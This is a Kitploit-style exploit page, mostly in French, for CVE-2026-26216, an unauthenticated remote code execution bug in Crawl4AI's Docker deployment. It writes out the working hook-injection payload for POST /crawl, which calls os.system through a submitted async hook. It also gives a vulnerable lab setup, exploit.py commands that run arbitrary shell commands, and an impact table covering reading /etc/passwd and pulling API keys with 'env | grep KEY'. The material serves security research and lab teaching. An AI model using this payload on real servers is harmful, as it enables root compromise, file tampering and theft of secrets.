EXPLOIT-CVE-2026-26216 — Preuve de concept pour CVE-2026-26216, démontrant une exécution de code à distance non authentifiée via injection de hook dans le déploiement Docker de Crawl4AI. Inclut un environnement de laboratoire vulnérable. | Kitploit

__import__('os').system(...)

POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

#	Action	Impact
1	`open('/etc/passwd')` direct	Bloqué par le sandbox (fausse sécurité)
2	`__import__('subprocess')` + `id`/`whoami`	RCE en root
3	`cat /etc/passwd` via le shell	Lecture arbitraire de fichiers
4	`env \| grep KEY`	Exfiltration de clés API / jetons
5	`echo ... > /tmp/PWNED`	Écriture arbitraire de fichiers

EXPLOIT-CVE-2026-26216

Populaires

Pourquoi c'est la leçon parfaite sur « sandbox maison dans un outil d'IA »

Structure du projet

Comment exécuter

Ce que démontre l'exploit

Impact

Correction

Références

Avis de non-responsabilité